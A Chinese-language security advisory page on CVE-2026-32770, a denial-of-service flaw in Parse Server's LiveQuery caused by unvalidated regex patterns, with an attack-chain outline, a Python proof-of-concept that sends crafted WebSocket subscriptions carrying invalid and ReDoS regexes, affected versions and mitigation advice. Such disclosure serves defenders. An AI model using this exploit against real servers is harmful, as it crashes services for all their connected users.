IPBUF安全漏洞报告
English
CVE-2026-32770 CVSS 5.9 中危

CVE-2026-32770: Parse Server LiveQuery拒绝服务漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32770
漏洞类型
拒绝服务
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

拒绝服务LiveQuery正则表达式Parse ServerNode.jsWebSocketReDoSCVE-2026-32770

漏洞概述

CVE-2026-32770是Parse Server中的一个拒绝服务漏洞。Parse Server是一个开源后端框架,可部署在任何可运行Node.js的基础设施上。该漏洞影响8.6.43之前和9.6.0-alpha.19之前的版本。攻击者可以通过向Parse Server的LiveQuery功能订阅一个无效的正则表达式模式来触发漏洞。当服务器处理该无效正则表达式时,会导致进程崩溃或终止,从而造成所有已连接客户端的拒绝服务。由于攻击利用了LiveQuery的订阅机制,且无需任何认证即可发起攻击,因此具有较高的安全风险。建议受影响的用户及时升级到修复版本或禁用LiveQuery功能以缓解风险。

技术细节

该漏洞存在于Parse Server的LiveQuery订阅处理逻辑中。LiveQuery是Parse Server提供的实时查询功能,允许客户端订阅数据变化通知。漏洞的根本原因是系统未对订阅请求中的正则表达式模式进行充分验证。当攻击者发送包含无效正则表达式的订阅请求时,该模式会被直接传递给Node.js的RegExp引擎进行处理。由于某些无效的正则表达式模式可能导致正则引擎进入异常状态或消耗大量计算资源(正则表达式DoS - ReDoS),服务器进程会崩溃。修复版本(8.6.43和9.6.0-alpha.19)增加了对正则表达式模式的事先验证,在存储订阅前拒绝无效模式。同时引入了防御性的try-catch机制,防止任何订阅匹配错误导致进程终止。攻击者仅需发送一个精心构造的LiveQuery订阅请求即可利用此漏洞,无需任何身份认证。

攻击链分析

STEP 1
步骤1
攻击者识别运行Parse Server且启用LiveQuery的目标服务器
STEP 2
步骤2
攻击者通过WebSocket连接到Parse Server的LiveQuery端点
STEP 3
步骤3
攻击者构造包含无效正则表达式模式的订阅请求,如包含未转义的特殊字符或导致ReDoS的模式
STEP 4
步骤4
服务器在未验证的情况下将无效正则表达式传递给RegExp引擎
STEP 5
步骤5
正则引擎处理无效模式时触发异常或消耗大量资源,导致服务器进程崩溃
STEP 6
步骤6
服务器进程终止,所有已连接的LiveQuery客户端失去连接,服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import json async def exploit_cve_2026_32770(): """ PoC for CVE-2026-32770: Parse Server LiveQuery DoS via invalid regex This PoC demonstrates sending a subscription with an invalid regex pattern that can crash the Parse Server. """ # WebSocket connection URI for Parse Server LiveQuery uri = "wss://target-server:parse" # Replace with actual target # Invalid regex patterns that can cause ReDoS or crash invalid_regex_patterns = [ "*", # Quantifier without target "+", # Quantifier without target "?", # Quantifier without target "(*SKIP)(*FAIL)", # PCRE specific pattern "([a-z]?){1,1000}", # Potential ReDoS pattern "((a+)+)+", # Classic ReDoS pattern "(?=a+)*", # Nested quantifier ")(", # Unbalanced parentheses "*+", # Possessive quantifier without target "(?*)", # Invalid quantifier ] for pattern in invalid_regex_patterns: try: async with websockets.connect(uri) as websocket: # Subscribe request with invalid regex subscribe_request = { "op": "subscribe", "requestId": 1, "query": { "className": "_User", "where": { "email": { "$regex": pattern } } } } await websocket.send(json.dumps(subscribe_request)) print(f"[+] Sent subscribe request with pattern: {pattern}") # Wait for response response = await asyncio.wait_for(websocket.recv(), timeout=5) print(f"[*] Response: {response}") except Exception as e: print(f"[!] Error with pattern {pattern}: {e}") if __name__ == "__main__": asyncio.run(exploit_cve_2026_32770())

影响范围

Parse Server < 8.6.43
Parse Server < 9.6.0-alpha.19

防御指南

临时缓解措施
如果暂时无法升级,可通过禁用Parse Server的LiveQuery功能来缓解该漏洞。修改服务器配置,将liveQuery配置项设为空或禁用状态。但请注意,禁用LiveQuery会影响依赖实时查询功能的应用程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表